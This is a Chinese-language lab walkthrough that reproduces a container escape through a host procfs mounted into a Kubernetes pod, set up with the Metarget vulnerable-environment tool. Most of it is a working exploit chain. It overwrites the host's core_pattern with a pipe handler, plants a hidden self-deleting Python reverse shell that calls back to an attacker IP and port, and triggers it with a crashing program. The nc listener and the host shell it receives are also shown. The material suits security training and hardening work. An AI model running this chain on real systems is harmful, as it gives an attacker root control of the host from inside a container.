【场景类型】
    容器逃逸 - 危险挂载
    【背景介绍】
    procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
    一般来说,我们不会将宿主机的procfs挂载到容器中。然而,有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来。
    procfs中的<font style="color:rgba(0, 0, 0, 0.9);">/proc/sys/kernel/core_pattern</font>负责配置进程崩溃时内存转储数据的导出方式。从手册中我们能获得关于内存转储的详细信息,关键信息如下:

    从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行

    建】
    • 基础环境准备,任意版本的docker
    1. ./metarget gadget install docker --version 18.03.1
    2. ./metarget gadget install k8s --version 1.16.5 --domestic
    1. root@zyliang:~/metarget# ./metarget cnv install mount-host-procfs
    2. docker already installed
    3. kubernetes already installed
    4. mount-host-procfs is going to be installed
    5. applying yamls/k8s_metarget_namespace.yaml
    6. applying vulns_cn/mounts/pods/mount-host-procfs.yaml
    7. mount-host-procfs successfully installed
    8. root@zyliang:~/metarget# kubectl get pod -n metarget
    9. NAME READY STATUS RESTARTS AGE
    10. mount-host-procfs 1/1 Running 0 10s
    11. # 宿主机的procfs在容器内部的挂载路径是/host-proc
    12. root@zyliang:~/metarget# kubectl get pod -n metarget mount-host-procfs -o yaml | grep proc
    13. {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"mount-host-procfs","namespace":"metarget"},"spec":{"containers":[{"args":["while true; do sleep 30; done;"],"command":["/bin/bash","-c","--"],"image":"ubuntu:latest","imagePullPolicy":"IfNotPresent","name":"ubuntu","volumeMounts":[{"mountPath":"/host-proc","name":"host-procfs"}]}],"volumes":[{"hostPath":{"path":"/proc"},"name":"host-procfs"}]}}
    14. name: mount-host-procfs
    15. selfLink: /api/v1/namespaces/metarget/pods/mount-host-procfs
    16. - mountPath: /host-proc
    17. name: host-procfs
    18. path: /proc
    19. name: host-procfs
    • 进入容器
    1. root@zyliang:~/metarget# kubectl get pod -n metarget
    2. NAME READY STATUS RESTARTS AGE
    3. mount-host-procfs 1/1 Running 0 12m
    4. root@zyliang:~/metarget# kubectl exec -it -n metarget mount-host-procfs /bin/bash
    5. root@mount-host-procfs:/# ls
    6. bin boot dev etc home host-proc lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
    • 在容器中,拿到当前容器在宿主机的绝对路径
    1. root@mount-host-procfs:/# cat /proc/mounts | grep docker
    2. overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O7P7Z5RVP2AMZNGT3ZICVUR7LK:/var/lib/docker/overlay2/l/KRI4QEH456ZEKL6ESM5TEX6YFE,upperdir=/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/diff,workdir=/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/work 0 0
    • 从workdir可以得到基础路径,当前容器在宿主机上的merged目录绝对路径:
    1. root@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged# pwd
    2. /var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged
    3. root@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged# ls
    4. bin boot dev etc home host-proc lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
    5. root@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged#
    docker镜像利用overlayfs文件系统,可参考如下:

    Reference:https://www.cnblogs.com/wdliu/p/10483252.html

    • 向容器内/host-proc/sys/kernel/core_pattern内写入以下内容:
    1. echo -e "|/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern
    • 容器内创建一个反弹shell的/tmp/.x.py,lhost和lport为攻击者ip+port:
    1. cat >/tmp/.x.py << EOF
    2. #!/usr/bin/python
    3. import os
    4. import pty
    5. import socket
    6. lhost = "10.160.35.200"
    7. lport = 10000
    8. def main():
    9. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    10. s.connect((lhost, lport))
    11. os.dup2(s.fileno(), 0)
    12. os.dup2(s.fileno(), 1)
    13. os.dup2(s.fileno(), 2)
    14. os.putenv("HISTFILE", '/dev/null')
    15. pty.spawn("/bin/bash")
    16. os.remove('/tmp/.x.py')
    17. s.close()
    18. if __name__ == "__main__":
    19. main()
    20. EOF
    21. chmod +x /tmp/.x.py
    • 编译一个可以运行崩溃的程序,放在容器内运行
    1. root@zyliang:~/mount# cat pro.c
    2. #include <stdio.h>
    3. int main(void)
    4. {
    5. int *a = NULL;
    6. *a = 1;
    7. return 0;
    8. }
    9. root@zyliang:~/mount# gcc -o crash pro.c
    10. root@zyliang:~/mount# ls
    11. crash pro.c
    12. root@zyliang:~/mount#
    13. root@zyliang:~/mount# docker ps | grep procfs
    14. 1f21b8c613d5 ba6acccedd29 "/bin/bash -c -- 'wh…" 31 minutes ago Up 31 minutes k8s_ubuntu_mount-host-procfs_metarget_0c64df69-a9b3-447e-8286-879b65849696_0
    15. eaa6db463eea k8s.gcr.io/pause:3.1 "/pause" 31 minutes ago Up 31 minutes k8s_POD_mount-host-procfs_metarget_0c64df69-a9b3-447e-8286-879b65849696_0
    16. root@zyliang:~/mount# docker cp crash 1f21b8c613d5:/
    17. Successfully copied 9.73kB to 1f21b8c613d5:/
    • 攻击者监听shell端口
    1. root@master:~# ifconfig ens160
    2. ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    3. inet 10.160.35.200 netmask 255.255.255.0 broadcast 10.160.35.255
    4. inet6 fe80::250:56ff:fead:4476 prefixlen 64 scopeid 0x20<link>
    5. ether 00:50:56:ad:44:76 txqueuelen 1000 (Ethernet)
    6. RX packets 35237991 bytes 4422643553 (4.4 GB)
    7. RX errors 0 dropped 71 overruns 0 frame 0
    8. TX packets 34973972 bytes 21075380437 (21.0 GB)
    9. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    10. root@master:~# nc -vnl 10000
    11. Listening on [0.0.0.0] (family 0, port 10000)
    • 容器内执行crash程序
    1. root@mount-host-procfs:/# ls
    2. bin boot core crash dev etc home host-proc lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
    3. root@mount-host-procfs:/# ./crash
    4. Segmentation fault (core dumped)
    • 攻击者接收到容器所在主机的反弹shell,成功逃逸
    1. root@master:~# nc -vnl 10000
    2. Listening on [0.0.0.0] (family 0, port 10000)
    3. Connection from 10.160.36.203 53352 received!
    4. root@zyliang:/# ifconfig
    5. ifconfig
    6. br-39727c7d519e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    7. inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
    8. inet6 fe80::42:e6ff:fe3c:bab4 prefixlen 64 scopeid 0x20<link>
    9. ether 02:42:e6:3c:ba:b4 txqueuelen 0 (Ethernet)
    10. RX packets 3 bytes 116 (116.0 B)
    11. RX errors 0 dropped 0 overruns 0 frame 0
    12. TX packets 13 bytes 1014 (1.0 KB)
    13. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    14. cni0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450
    15. inet 10.244.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
    16. inet6 fe80::70ed:64ff:fe65:fcda prefixlen 64 scopeid 0x20<link>
    17. ether 72:ed:64:65:fc:da txqueuelen 1000 (Ethernet)
    18. RX packets 994245 bytes 67813573 (67.8 MB)
    19. RX errors 0 dropped 0 overruns 0 frame 0
    20. TX packets 1013792 bytes 299932838 (299.9 MB)
    21. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    22. docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    23. inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    24. ether 02:42:f7:00:90:09 txqueuelen 0 (Ethernet)
    25. RX packets 0 bytes 0 (0.0 B)
    26. RX errors 0 dropped 0 overruns 0 frame 0
    27. TX packets 5 bytes 438 (438.0 B)
    28. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    29. ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    30. inet 10.160.36.203 netmask 255.255.255.0 broadcast 10.160.36.255
    31. inet6 fe80::250:56ff:fead:54b prefixlen 64 scopeid 0x20<link>
    32. ether 00:50:56:ad:05:4b txqueuelen 1000 (Ethernet)
    33. RX packets 931617 bytes 857731156 (857.7 MB)
    34. RX errors 0 dropped 48 overruns 0 frame 0
    35. TX packets 628746 bytes 60162270 (60.1 MB)
    36. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    【参考链接】

    Reference:https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs